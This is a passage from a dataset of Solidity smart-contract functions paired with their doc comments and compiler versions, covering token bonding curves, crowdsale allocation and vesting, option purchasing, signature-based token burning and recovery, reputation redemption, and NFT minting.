feeAndValue[1];\r\n}", "version": "0.5.12"} {"comment": "/// @notice calculates current buy price for one token", "function_code": "function currentBuyPrice() \r\n external\r\n view\r\n returns(uint256)\r\n{\r\n // avoid dividing by zero\r\n require(totalSupply != 0, \"function called too early (supply is zero)\");\r\n //represents buying one \"full token\" since the token has 18 decimals\r\n uint256 etherValue = tokensToEther( 1e18 );\r\n uint[2] memory feeAndValue = valueAfterFee( etherValue );\r\n //NOTE: this is not strictly correct, but gets very close to real purchase value\r\n uint256 totalCost = etherValue + feeAndValue[0];\r\n return totalCost;\r\n}", "version": "0.5.12"} {"comment": "/// @notice calculates amount of ether (as wei) received if input number of tokens is sold at current price and fee rate\n/// @param tokensToSell Desired number of tokens (as an integer) from which to calculate equivalent value of ether\n/// @return etherAfterFee Amount of ether that would be received for selling tokens", "function_code": "function calculateExpectedWei(uint256 tokensToSell) \r\n external\r\n view\r\n returns(uint256)\r\n{\r\n require( tokensToSell <= totalSupply, \"unable to calculate for amount of tokens greater than current supply\" );\r\n //finds ether value of tokens before fee\r\n uint256 etherValue = tokensToEther( tokensToSell );\r\n //calculates ether after fee\r\n uint256 etherAfterFee = valueAfterFee( etherValue )[1];\r\n return etherAfterFee;\r\n}", "version": "0.5.12"} {"comment": "/// @notice function for donating to slush fund. adjusts current fee rate as fast as possible but does not give the message sender any tokens\n/// @dev invoked internally when partner contract sends funds to this contract (see fallback function)", "function_code": "function makeItRain()\r\n public\r\n payable\r\n returns(bool)\r\n{\r\n //avoid dividing by zero\r\n require(totalSupply != 0, \"makeItRain function called too early (supply is zero)\");\r\n uint256 amountEther = msg.value;\r\n uint256 addedRewards = SafeMath.mul( amountEther , MAGNITUDE );\r\n uint256 additionalRewardsPerToken = SafeMath.div( addedRewards , totalSupply );\r\n _rewardsPerTokenAllTime = SafeMath.add( _rewardsPerTokenAllTime , additionalRewardsPerToken );\r\n //updates balance in slush fund and calculates new fee rate\r\n require( updateSlushFund( amountEther ), \"error in calling updateSlushFund\" );\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "/// @notice returns reward balance of desired address\n/// @dev invoked internally in cashOut and doubleDown functions\n/// @param playerAddress Address which sender wants to know the rewards balance of\n/// @return playerRewards Current ether value of unspent rewards of playerAddress", "function_code": "function rewardsOf( address playerAddress )\r\n public\r\n view\r\n returns(uint256 playerRewards)\r\n{\r\n playerRewards = (uint256) ( ( (int256)( _rewardsPerTokenAllTime * tokenBalanceLedger_[ playerAddress ] ) - payoutsToLedger_[ playerAddress ] ) / IMAGNITUDE );\r\n return playerRewards;\r\n}", "version": "0.5.12"} {"comment": "//INTERNAL FUNCTIONS\n//recalculates fee rate given current contract state", "function_code": "function calcFeeRate()\r\n internal\r\n returns(bool)\r\n{\r\n uint excessSlush = ( (_slushFundBalance % FEE_CYCLE_SIZE) * MAX_VARIANCE );\r\n uint16 cycleLocation = uint16( excessSlush / FEE_CYCLE_SIZE );\r\n uint16 newFeeRate = uint16( BASE_RATE + cycleLocation );\r\n //copy local variable to state variable\r\n _feeRate = newFeeRate;\r\n //anounce new rate\r\n emit AnnounceFeeRate( newFeeRate );\r\n return(true);\r\n}", "version": "0.5.12"} {"comment": "//update rewards tracker when a user withdraws their rewards", "function_code": "function updateSpentRewards( address playerAddress, uint256 etherValue )\r\n internal\r\n returns(bool)\r\n{\r\n int256 updatedPayouts = payoutsToLedger_[playerAddress] + int256 ( SafeMath.mul( etherValue, MAGNITUDE ) );\r\n require( (updatedPayouts >= payoutsToLedger_[playerAddress]), \"ERROR: integer overflow in updateSpentRewards function\" );\r\n payoutsToLedger_[playerAddress] = updatedPayouts;\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "//updates rewards tracker. makes sure that player does not receive any rewards accumulated before they purchased/received these tokens", "function_code": "function updateRewardsOnPurchase( address playerAddress, uint256 amountTokens )\r\n internal\r\n returns(bool)\r\n{\r\n int256 updatedPayouts = payoutsToLedger_[playerAddress] + int256 ( SafeMath.mul( _rewardsPerTokenAllTime, amountTokens ) );\r\n require( (updatedPayouts >= payoutsToLedger_[playerAddress]), \"ERROR: integer overflow in updateRewardsOnPurchase function\" );\r\n payoutsToLedger_[playerAddress] = updatedPayouts; \r\n return true;\r\n}", "version": "0.5.12"} {"comment": "// PRIVILEGED FUNCTIONS\n// ====================", "function_code": "function releaseBatch() external onlyFounders {\r\n require(true == vestingStarted);\r\n require(now > nextPeriod);\r\n require(periodsPassed < totalPeriods);\r\n\r\n uint tokensToRelease = 0;\r\n do {\r\n periodsPassed = periodsPassed.add(1);\r\n nextPeriod = nextPeriod.add(cliffPeriod);\r\n tokensToRelease = tokensToRelease.add(tokensPerBatch);\r\n } while (now > nextPeriod);\r\n\r\n // If vesting has finished, just transfer the remaining tokens.\r\n if (periodsPassed >= totalPeriods) {\r\n tokensToRelease = tokenContract.balanceOf(this);\r\n nextPeriod = 0x0;\r\n }\r\n\r\n tokensRemaining = tokensRemaining.sub(tokensToRelease);\r\n tokenContract.transfer(foundersWallet, tokensToRelease);\r\n\r\n TokensReleased(tokensToRelease, tokensRemaining, nextPeriod);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Constructs the allocator.\r\n * @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \\\r\n * \\ it mints the tokens for contributions accepted in other currencies.\r\n * @param _icoManager Allowed to start phase 2.\r\n * @param _foundersWallet Where the founders' tokens to to after vesting.\r\n * @param _partnersWallet A wallet that distributes tokens to early contributors.\r\n */", "function_code": "function TokenAllocation(address _icoManager,\r\n address _icoBackend,\r\n address _foundersWallet,\r\n address _partnersWallet,\r\n address _emergencyManager\r\n ) public {\r\n require(_icoManager != address(0));\r\n require(_icoBackend != address(0));\r\n require(_foundersWallet != address(0));\r\n require(_partnersWallet != address(0));\r\n require(_emergencyManager != address(0));\r\n\r\n tokenContract = new Cappasity(address(this));\r\n\r\n icoManager = _icoManager;\r\n icoBackend = _icoBackend;\r\n foundersWallet = _foundersWallet;\r\n partnersWallet = _partnersWallet;\r\n emergencyManager = _emergencyManager;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end\r\n * of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be\r\n * called after the end of the crowdsale phase, ends the current phase.\r\n */", "function_code": "function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {\r\n uint tokensDuringThisPhase;\r\n if (crowdsalePhase == CrowdsalePhase.PhaseOne) {\r\n tokensDuringThisPhase = totalTokenSupply;\r\n } else {\r\n tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;\r\n }\r\n\r\n // Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%\r\n // So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.\r\n uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1\r\n uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1\r\n\r\n tokenContract.mint(partnersWallet, tokensForPartners);\r\n\r\n if (crowdsalePhase == CrowdsalePhase.PhaseOne) {\r\n vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));\r\n tokenContract.mint(address(vestingWallet), tokensForFounders);\r\n FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,\r\n partnersWallet, tokensForPartners);\r\n\r\n // Store the total sum collected during phase one for calculations in phase two.\r\n centsInPhaseOne = totalCentsGathered;\r\n tokensDuringPhaseOne = totalTokenSupply;\r\n\r\n // Enable token transfer.\r\n tokenContract.unfreeze();\r\n crowdsalePhase = CrowdsalePhase.BetweenPhases;\r\n } else {\r\n tokenContract.mint(address(vestingWallet), tokensForFounders);\r\n vestingWallet.launchVesting();\r\n\r\n FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,\r\n partnersWallet, tokensForPartners);\r\n crowdsalePhase = CrowdsalePhase.Finished;\r\n }\r\n\r\n tokenContract.endMinting();\r\n }", "version": "0.4.18"} {"comment": "//adds new tokens to total token supply and gives them to the player", "function_code": "function mint(address playerAddress, uint256 amountTokens)\r\n internal\r\n{\r\n require( playerAddress != address(0), \"cannot mint tokens for zero address\" );\r\n totalSupply = SafeMath.add( totalSupply, amountTokens );\r\n //updates rewards tracker. makes sure that player does not receive any rewards accumulated before they purchased these tokens\r\n updateRewardsOnPurchase( playerAddress, amountTokens );\r\n //give tokens to player. performed last to prevent re-entrancy attacks\r\n tokenBalanceLedger_[playerAddress] = SafeMath.add( tokenBalanceLedger_[playerAddress] , amountTokens );\r\n //event conforms to ERC-20 standard\r\n emit Transfer(address(0), playerAddress, amountTokens);\r\n}", "version": "0.5.12"} {"comment": "/**\r\n * @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.\r\n */", "function_code": "function advanceBonusPhase() internal onlyValidPhase {\r\n if (crowdsalePhase == CrowdsalePhase.PhaseOne) {\r\n if (bonusPhase == BonusPhase.TenPercent) {\r\n bonusPhase = BonusPhase.FivePercent;\r\n } else if (bonusPhase == BonusPhase.FivePercent) {\r\n bonusPhase = BonusPhase.None;\r\n }\r\n } else if (bonusPhase == BonusPhase.TenPercent) {\r\n bonusPhase = BonusPhase.None;\r\n }\r\n }", "version": "0.4.18"} {"comment": "//Make sure you add the 9 zeros at the end!!!", "function_code": "function update_tiers(uint256 t1_size,uint256 t1_percent,uint256 t2_size,uint256 t2_percent,uint256 \r\n t3_size,uint256 t3_percent,uint256 t4_size,uint256 t4_percent,uint256 t5_size,uint256 t5_percent)external onlyOwner(){\r\n\r\n tier1_size = t1_size;\r\n tier1_amount = t1_percent;\r\n tier2_size = t2_size;\r\n tier2_amount = t2_percent;\r\n tier3_size = t3_size;\r\n tier3_amount = t3_percent;\r\n tier4_size = t4_size;\r\n tier4_amount = t4_percent;\r\n tier5_size = t5_size;\r\n tier5_amount = t5_percent;\r\n }", "version": "0.8.10"} {"comment": "/**\n * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.\n * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.\n * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.\n */", "function_code": "function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {\n require(index < balanceOf(owner), 'ERC721A: owner index out of bounds');\n uint256 numMintedSoFar = totalSupply();\n uint256 tokenIdsIdx = 0;\n address currOwnershipAddr = address(0);\n for (uint256 i = 0; i < numMintedSoFar; i++) {\n TokenOwnership memory ownership = _ownerships[i];\n if (ownership.addr != address(0)) {\n currOwnershipAddr = ownership.addr;\n }\n if (currOwnershipAddr == owner) {\n if (tokenIdsIdx == index) {\n return i;\n }\n tokenIdsIdx++;\n }\n }\n revert('ERC721A: unable to get token of owner by index');\n }", "version": "0.8.1"} {"comment": "//update rewards tracker. makes sure that player can still withdraw rewards that accumulated while they were holding their sold/transferred tokens", "function_code": "function updateRewardsOnSale( address playerAddress, uint256 amountTokens )\r\n internal\r\n returns(bool)\r\n{\r\n int256 updatedPayouts = payoutsToLedger_[playerAddress] - int256 ( SafeMath.mul( _rewardsPerTokenAllTime, amountTokens ) );\r\n require( (updatedPayouts <= payoutsToLedger_[playerAddress]), \"ERROR: integer underflow in updateRewardsOnSale function\" );\r\n payoutsToLedger_[playerAddress] = updatedPayouts;\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "//destroys sold tokens (removes sold tokens from total token supply) and subtracts them from player balance", "function_code": "function burn(address playerAddress, uint256 amountTokens)\r\n internal\r\n{\r\n require( playerAddress != address(0), \"cannot burn tokens for zero address\" );\r\n require( amountTokens <= tokenBalanceLedger_[ playerAddress ], \"insufficient funds available\" );\r\n //subtract tokens from player balance. performed first to prevent possibility of re-entrancy attacks\r\n tokenBalanceLedger_[playerAddress] = SafeMath.sub( tokenBalanceLedger_[playerAddress], amountTokens );\r\n //remove tokens from total supply\r\n totalSupply = SafeMath.sub( totalSupply, amountTokens );\r\n //update rewards tracker. makes sure that player can still withdraw rewards that accumulated while they were holding their sold tokens\r\n updateRewardsOnSale( playerAddress, amountTokens );\r\n //event conforms to ERC-20 standard\r\n emit Transfer(playerAddress, address(0), amountTokens);\r\n }", "version": "0.5.12"} {"comment": "//sells desired amount of tokens for ether", "function_code": "function sell(uint256 amountTokens)\r\n internal\r\n returns (bool)\r\n{\r\n require( amountTokens <= tokenBalanceLedger_[ msg.sender ], \"insufficient funds available\" );\r\n //calculates fee and net value to send to seller\r\n uint256 etherValue = tokensToEther( amountTokens );\r\n uint[2] memory feeAndValue = valueAfterFee( etherValue );\r\n //destroys sold tokens (removes sold tokens from total token supply) and subtracts them from player balance\r\n //also updates reward tracker (payoutsToLedger_) for player address\r\n burn(msg.sender, amountTokens);\r\n // sends rewards to partner contract, to be distributed to its holders\r\n address payable buddy = partnerAddress_;\r\n ( bool success, bytes memory returnData ) = buddy.call.value( feeAndValue[0] )(\"\");\r\n require( success, \"failed to send funds to partner contract (not enough gas provided?)\" );\r\n //sends ether to seller\r\n //NOTE: occurs last to avoid re-entrancy attacks\r\n msg.sender.transfer( feeAndValue[1] );\r\n return true;\r\n}", "version": "0.5.12"} {"comment": "//takes in amount and returns fee to pay on it and the value after the fee\n//classified as view since needs to access state (to pull current fee rate) but not write to it", "function_code": "function valueAfterFee( uint amount )\r\n internal\r\n view\r\n returns (uint[2] memory outArray_ )\r\n{\r\n outArray_[0] = SafeMath.div( SafeMath.mul(amount, _feeRate), 65536 ); //fee\r\n outArray_[1] = SafeMath.sub( amount , outArray_[0] ); //value after fee\r\n return outArray_;\r\n}", "version": "0.5.12"} {"comment": "//returns purchased number of tokens based on linear bonding curve with fee\n//it's the quadratic formula stupid!", "function_code": "function etherToTokens(uint256 etherValue)\r\n internal\r\n view\r\n returns(uint256)\r\n{\r\n uint256 tokenPriceInitial = TOKEN_PRICE_INITIAL * 1e18;\r\n uint256 _tokensReceived = \r\n (\r\n (\r\n // avoids underflow\r\n SafeMath.sub(\r\n ( sqrt( \r\n ( tokenPriceInitial**2 ) +\r\n ( 2 * ( TOKEN_PRICE_INCREMENT * 1e18 ) * ( etherValue * 1e18 ) ) +\r\n ( ( ( TOKEN_PRICE_INCREMENT ) ** 2 ) * ( totalSupply ** 2 ) ) +\r\n ( 2 * ( TOKEN_PRICE_INCREMENT ) * tokenPriceInitial * totalSupply )\r\n )\r\n ), tokenPriceInitial )\r\n ) / ( TOKEN_PRICE_INCREMENT )\r\n ) - ( totalSupply );\r\n \r\n return _tokensReceived;\r\n}", "version": "0.5.12"} {"comment": "//returns sell value of tokens based on linear bonding curve with fee\n//~inverse of etherToTokens, but with rounding down to ensure contract is always more than solvent", "function_code": "function tokensToEther(uint256 inputTokens)\r\n internal\r\n view\r\n returns(uint256)\r\n{\r\n uint256 tokens = ( inputTokens + 1e18 );\r\n uint256 functionTotalSupply = ( totalSupply + 1e18 );\r\n uint256 etherReceived = (\r\n // avoids underflow\r\n SafeMath.sub(\r\n ( (\r\n ( TOKEN_PRICE_INITIAL + ( TOKEN_PRICE_INCREMENT * ( functionTotalSupply / 1e18 ) ) )\r\n - TOKEN_PRICE_INCREMENT )\r\n * ( tokens - 1e18 ) ),\r\n ( TOKEN_PRICE_INCREMENT * ( ( tokens ** 2 - tokens ) / 1e18 ) ) / 2 )\r\n / 1e18 );\r\n return etherReceived;\r\n}", "version": "0.5.12"} {"comment": "/**\n * @notice Used for calculating the option price (the premium) and using\n * the swap router (if needed) to convert the tokens with which the user\n * pays the premium into the token in which the pool is denominated.\n * @param period The option period\n * @param amount The option size\n * @param strike The option strike\n * @param total The total premium\n * @param baseTotal The part of the premium that\n * is distributed among the liquidity providers\n * @param settlementFee The part of the premium that\n * is distributed among the HEGIC staking participants\n **/", "function_code": "function getOptionPrice(\n IHegicPool pool,\n uint256 period,\n uint256 amount,\n uint256 strike,\n address[] calldata swappath\n )\n public\n view\n returns (\n uint256 total,\n uint256 baseTotal,\n uint256 settlementFee,\n uint256 premium\n )\n {\n (uint256 _baseTotal, uint256 baseSettlementFee, uint256 basePremium) =\n getBaseOptionCost(pool, period, amount, strike);\n if (swappath.length > 1)\n total = exchange.getAmountsIn(_baseTotal, swappath)[0];\n else total = _baseTotal;\n\n baseTotal = _baseTotal;\n settlementFee = (total * baseSettlementFee) / baseTotal;\n premium = (total * basePremium) / baseTotal;\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Used for calculating the option price (the premium)\n * in the token in which the pool is denominated.\n * @param period The option period\n * @param amount The option size\n * @param strike The option strike\n **/", "function_code": "function getBaseOptionCost(\n IHegicPool pool,\n uint256 period,\n uint256 amount,\n uint256 strike\n )\n public\n view\n returns (\n uint256 total,\n uint256 settlementFee,\n uint256 premium\n )\n {\n (settlementFee, premium) = pool.calculateTotalPremium(\n period,\n amount,\n strike\n );\n total = premium + settlementFee;\n }", "version": "0.8.6"} {"comment": "/**\n * @notice Used for buying the option contract and converting\n * the buyer's tokens (the total premium) into the token\n * in which the pool is denominated.\n * @param period The option period\n * @param amount The option size\n * @param strike The option strike\n * @param acceptablePrice The highest acceptable price\n **/", "function_code": "function createOption(\n IHegicPool pool,\n uint256 period,\n uint256 amount,\n uint256 strike,\n address[] calldata swappath,\n uint256 acceptablePrice\n ) external payable {\n address buyer = _msgSender();\n (uint256 optionPrice, uint256 rawOptionPrice, , ) =\n getOptionPrice(pool, period, amount, strike, swappath);\n require(\n optionPrice <= acceptablePrice,\n \"Facade Error: The option price is too high\"\n );\n IERC20 paymentToken = IERC20(swappath[0]);\n paymentToken.safeTransferFrom(buyer, address(this), optionPrice);\n if (swappath.length > 1) {\n if (\n paymentToken.allowance(address(this), address(exchange)) <\n optionPrice\n ) {\n paymentToken.safeApprove(address(exchange), 0);\n paymentToken.safeApprove(address(exchange), type(uint256).max);\n }\n\n exchange.swapTokensForExactTokens(\n rawOptionPrice,\n optionPrice,\n swappath,\n address(this),\n block.timestamp\n );\n }\n pool.sellOption(buyer, period, amount, strike);\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Burns tokens from a specific address.\r\n * To burn the tokens the caller needs to provide a signature\r\n * proving that the caller is authorized by the token owner to do so.\r\n * @param db Token storage to operate on.\r\n * @param from The address holding tokens.\r\n * @param amount The amount of tokens to burn.\r\n * @param h Hash which the token owner signed.\r\n * @param v Signature component.\r\n * @param r Signature component.\r\n * @param s Sigature component.\r\n */", "function_code": "function burn(\r\n TokenStorage db,\r\n address from,\r\n uint amount,\r\n bytes32 h,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n )\r\n external\r\n returns (bool)\r\n {\r\n require(\r\n ecrecover(h, v, r, s) == from,\r\n \"signature/hash does not match\"\r\n );\r\n return burn(db, from, amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers tokens from a specific address [ERC20].\r\n * The address owner has to approve the spender beforehand.\r\n * @param db Token storage to operate on.\r\n * @param caller Address of the caller passed through the frontend.\r\n * @param from Address to debet the tokens from.\r\n * @param to Recipient address.\r\n * @param amount Number of tokens to transfer.\r\n */", "function_code": "function transferFrom(\r\n TokenStorage db,\r\n address caller,\r\n address from,\r\n address to,\r\n uint amount\r\n )\r\n external\r\n returns (bool success)\r\n {\r\n uint allowance = db.getAllowed(from, caller);\r\n db.subBalance(from, amount);\r\n db.addBalance(to, amount);\r\n db.setAllowed(from, caller, allowance.sub(amount));\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Transfers tokens and subsequently calls a method on the recipient [ERC677].\r\n * If the recipient is a non-contract address this method behaves just like transfer.\r\n * @notice db.transfer either returns true or reverts.\r\n * @param db Token storage to operate on.\r\n * @param caller Address of the caller passed through the frontend.\r\n * @param to Recipient address.\r\n * @param amount Number of tokens to transfer.\r\n * @param data Additional data passed to the recipient's tokenFallback method.\r\n */", "function_code": "function transferAndCall(\r\n TokenStorage db,\r\n address caller,\r\n address to,\r\n uint256 amount,\r\n bytes data\r\n )\r\n external\r\n returns (bool)\r\n {\r\n require(\r\n db.transfer(caller, to, amount), \r\n \"unable to transfer\"\r\n );\r\n if (to.isContract()) {\r\n IERC677Recipient recipient = IERC677Recipient(to);\r\n require(\r\n recipient.onTokenTransfer(caller, amount, data),\r\n \"token handler returns false\"\r\n );\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Recovers tokens from an address and reissues them to another address.\r\n * In case a user loses its private key the tokens can be recovered by burning\r\n * the tokens from that address and reissuing to a new address.\r\n * To recover tokens the contract owner needs to provide a signature\r\n * proving that the token owner has authorized the owner to do so.\r\n * @param from Address to burn tokens from.\r\n * @param to Address to mint tokens to.\r\n * @param h Hash which the token owner signed.\r\n * @param v Signature component.\r\n * @param r Signature component.\r\n * @param s Sigature component.\r\n * @return Amount recovered.\r\n */", "function_code": "function recover(\r\n TokenStorage token,\r\n address from,\r\n address to,\r\n bytes32 h,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n )\r\n external\r\n returns (uint)\r\n {\r\n require(\r\n ecrecover(h, v, r, s) == from,\r\n \"signature/hash does not recover from address\"\r\n );\r\n uint amount = token.balanceOf(from);\r\n token.burn(from, amount);\r\n token.mint(to, amount);\r\n emit Recovered(from, to, amount);\r\n return amount;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Prevents tokens to be sent to well known blackholes by throwing on known blackholes.\r\n * @param to The address of the intended recipient.\r\n */", "function_code": "function avoidBlackholes(address to) internal view {\r\n require(to != 0x0, \"must not send to 0x0\");\r\n require(to != address(this), \"must not send to controller\");\r\n require(to != address(token), \"must not send to token storage\");\r\n require(to != frontend, \"must not send to frontend\");\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev initialize\r\n * @param _avatar the avatar to mint reputation from\r\n * @param _tokenContract the token contract\r\n * @param _agreementHash is a hash of agreement required to be added to the TX by participants\r\n */", "function_code": "function initialize(Avatar _avatar, IERC20 _tokenContract, CurveInterface _curve, bytes32 _agreementHash) external\r\n {\r\n require(avatar == Avatar(0), \"can be called only one time\");\r\n require(_avatar != Avatar(0), \"avatar cannot be zero\");\r\n tokenContract = _tokenContract;\r\n avatar = _avatar;\r\n curve = _curve;\r\n super.setAgreementHash(_agreementHash);\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev redeemWithSignature function\r\n * @param _beneficiary the beneficiary address to redeem for\r\n * @param _signatureType signature type\r\n 1 - for web3.eth.sign\r\n 2 - for eth_signTypedData according to EIP #712.\r\n * @param _signature - signed data by the staker\r\n * @return uint256 minted reputation\r\n */", "function_code": "function redeemWithSignature(\r\n address _beneficiary,\r\n bytes32 _agreementHash,\r\n uint256 _signatureType,\r\n bytes calldata _signature\r\n )\r\n external\r\n returns(uint256)\r\n {\r\n // Recreate the digest the user signed\r\n bytes32 delegationDigest;\r\n if (_signatureType == 2) {\r\n delegationDigest = keccak256(\r\n abi.encodePacked(\r\n DELEGATION_HASH_EIP712, keccak256(\r\n abi.encodePacked(\r\n address(this),\r\n _beneficiary,\r\n _agreementHash)\r\n )\r\n )\r\n );\r\n } else {\r\n delegationDigest = keccak256(\r\n abi.encodePacked(\r\n address(this),\r\n _beneficiary,\r\n _agreementHash)\r\n ).toEthSignedMessageHash();\r\n }\r\n address redeemer = delegationDigest.recover(_signature);\r\n require(redeemer != address(0), \"redeemer address cannot be 0\");\r\n return _redeem(_beneficiary, redeemer, _agreementHash);\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev redeem function\r\n * @param _beneficiary the beneficiary address to redeem for\r\n * @param _redeemer the redeemer address\r\n * @return uint256 minted reputation\r\n */", "function_code": "function _redeem(address _beneficiary, address _redeemer, bytes32 _agreementHash)\r\n private\r\n onlyAgree(_agreementHash)\r\n returns(uint256) {\r\n require(avatar != Avatar(0), \"should initialize first\");\r\n require(redeems[_redeemer] == false, \"redeeming twice from the same account is not allowed\");\r\n redeems[_redeemer] = true;\r\n uint256 tokenAmount = tokenContract.balanceOf(_redeemer);\r\n if (curve != CurveInterface(0)) {\r\n tokenAmount = curve.calc(tokenAmount);\r\n }\r\n if (_beneficiary == address(0)) {\r\n _beneficiary = _redeemer;\r\n }\r\n require(\r\n Controller(\r\n avatar.owner())\r\n .mintReputation(tokenAmount, _beneficiary, address(avatar)), \"mint reputation should succeed\");\r\n emit Redeem(_beneficiary, _redeemer, tokenAmount);\r\n return tokenAmount;\r\n }", "version": "0.5.13"} {"comment": "/**\r\n * @dev Sets a new controller.\r\n * @param address_ Address of the controller.\r\n */", "function_code": "function setController(address address_) external onlyOwner {\r\n require(address_ != 0x0, \"controller address cannot be the null address\");\r\n emit Controller(ticker, controller, address_);\r\n controller = SmartController(address_);\r\n require(controller.getFrontend() == address(this), \"controller frontend does not point back\");\r\n require(controller.ticker() == ticker, \"ticker does not match controller ticket\");\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Burns tokens from token owner.\r\n * This removfes the burned tokens from circulation.\r\n * @param from Address of the token owner.\r\n * @param amount Number of tokens to burn.\r\n * @param h Hash which the token owner signed.\r\n * @param v Signature component.\r\n * @param r Signature component.\r\n * @param s Sigature component.\r\n */", "function_code": "function burnFrom(address from, uint amount, bytes32 h, uint8 v, bytes32 r, bytes32 s)\r\n external\r\n returns (bool ok)\r\n {\r\n ok = controller.burnFrom_withCaller(msg.sender, from, amount, h, v, r, s);\r\n emit Transfer(from, 0x0, amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Converts a digit from 0 - 10000 into its corresponding rarity based on the given rarity tier.\r\n * @param _randinput The input from 0 - 10000 to use for rarity gen.\r\n * @param _rarityTier The tier to use.\r\n */", "function_code": "function rarityGen(uint256 _randinput, uint8 _rarityTier)\r\n internal\r\n view\r\n returns (string memory)\r\n {\r\n uint16 currentLowerBound = 0;\r\n for (uint8 i = 0; i < TIERS[_rarityTier].length; i++) {\r\n uint16 thisPercentage = TIERS[_rarityTier][i];\r\n if (\r\n _randinput >= currentLowerBound &&\r\n _randinput < currentLowerBound + thisPercentage\r\n ) return i.toString();\r\n currentLowerBound = currentLowerBound + thisPercentage;\r\n }\r\n\r\n revert();\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Generates a 9 digit hash from a tokenId, address, and random number.\r\n * @param _t The token id to be used within the hash.\r\n * @param _a The address to be used within the hash.\r\n * @param _c The custom nonce to be used within the hash.\r\n */", "function_code": "function hash(\r\n uint256 _t,\r\n address _a,\r\n uint256 _c\r\n ) internal returns (string memory) {\r\n require(_c < 10);\r\n\r\n // This will generate a 9 character string.\r\n //The last 8 digits are random, the first is 0, due to the mouse not being burned.\r\n string memory currentHash = \"0\";\r\n\r\n for (uint8 i = 0; i < 8; i++) {\r\n SEED_NONCE++;\r\n uint16 _randinput = uint16(\r\n uint256(\r\n keccak256(\r\n abi.encodePacked(\r\n block.timestamp,\r\n block.difficulty,\r\n _t,\r\n _a,\r\n _c,\r\n SEED_NONCE\r\n )\r\n )\r\n ) % 10000\r\n );\r\n\r\n currentHash = string(\r\n abi.encodePacked(currentHash, rarityGen(_randinput, i))\r\n );\r\n }\r\n\r\n if (hashToMinted[currentHash]) return hash(_t, _a, _c + 1);\r\n\r\n return currentHash;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the current cost of minting.\r\n */", "function_code": "function currentTokenCost() public view returns (uint256) {\r\n uint256 _totalSupply = totalSupply();\r\n\r\n if (_totalSupply <= 2000) return 1000000000000000000;\r\n if (_totalSupply > 2000 && _totalSupply <= 4000)\r\n return 1000000000000000000;\r\n if (_totalSupply > 4000 && _totalSupply <= 6000)\r\n return 2000000000000000000;\r\n if (_totalSupply > 6000 && _totalSupply <= 8000)\r\n return 3000000000000000000;\r\n if (_totalSupply > 8000 && _totalSupply <= 10000)\r\n return 4000000000000000000;\r\n\r\n revert();\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Returns the current ETH price to mint\r\n */", "function_code": "function currentPrice() public view returns (uint256) {\r\n if(block.timestamp < MINT_START) {\r\n return START_PRICE;\r\n }\r\n\r\n uint256 _mintTiersComplete = (block.timestamp - MINT_START).div(MINT_DELAY);\r\n if(PRICE_DIFF * _mintTiersComplete >= START_PRICE) {\r\n return 0;\r\n } else {\r\n return START_PRICE - (PRICE_DIFF * _mintTiersComplete);\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Mints new tokens.\r\n */", "function_code": "function mintNfToken(uint256 _times) public payable {\r\n uint256 _totalSupply = totalSupply();\r\n uint256 _price = currentPrice();\r\n require((_times > 0 && _times <= 5));\r\n require(msg.value >= _times * _price);\r\n require(_totalSupply < MINTS_PER_TIER);\r\n require(block.timestamp >= MINT_START);\r\n \r\n for(uint256 i=0; i< _times; i++){\r\n mintInternal();\r\n }\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Hash to SVG function\r\n */", "function_code": "function hashToSVG(string memory _hash)\r\n public\r\n view\r\n returns (string memory)\r\n {\r\n string memory svgString;\r\n bool[24][24] memory placedPixels;\r\n\r\n for (uint8 i = 0; i < 9; i++) {\r\n uint8 thisTraitIndex = Library.parseInt(\r\n Library.substring(_hash, i, i + 1)\r\n );\r\n\r\n for (\r\n uint16 j = 0;\r\n j < traitTypes[i][thisTraitIndex].pixelCount;\r\n j++\r\n ) {\r\n string memory thisPixel = Library.substring(\r\n traitTypes[i][thisTraitIndex].pixels,\r\n j * 4,\r\n j * 4 + 4\r\n );\r\n\r\n uint8 x = letterToNumber(\r\n Library.substring(thisPixel, 0, 1)\r\n );\r\n uint8 y = letterToNumber(\r\n Library.substring(thisPixel, 1, 2)\r\n );\r\n\r\n if (placedPixels[x][y]) continue;\r\n\r\n svgString = 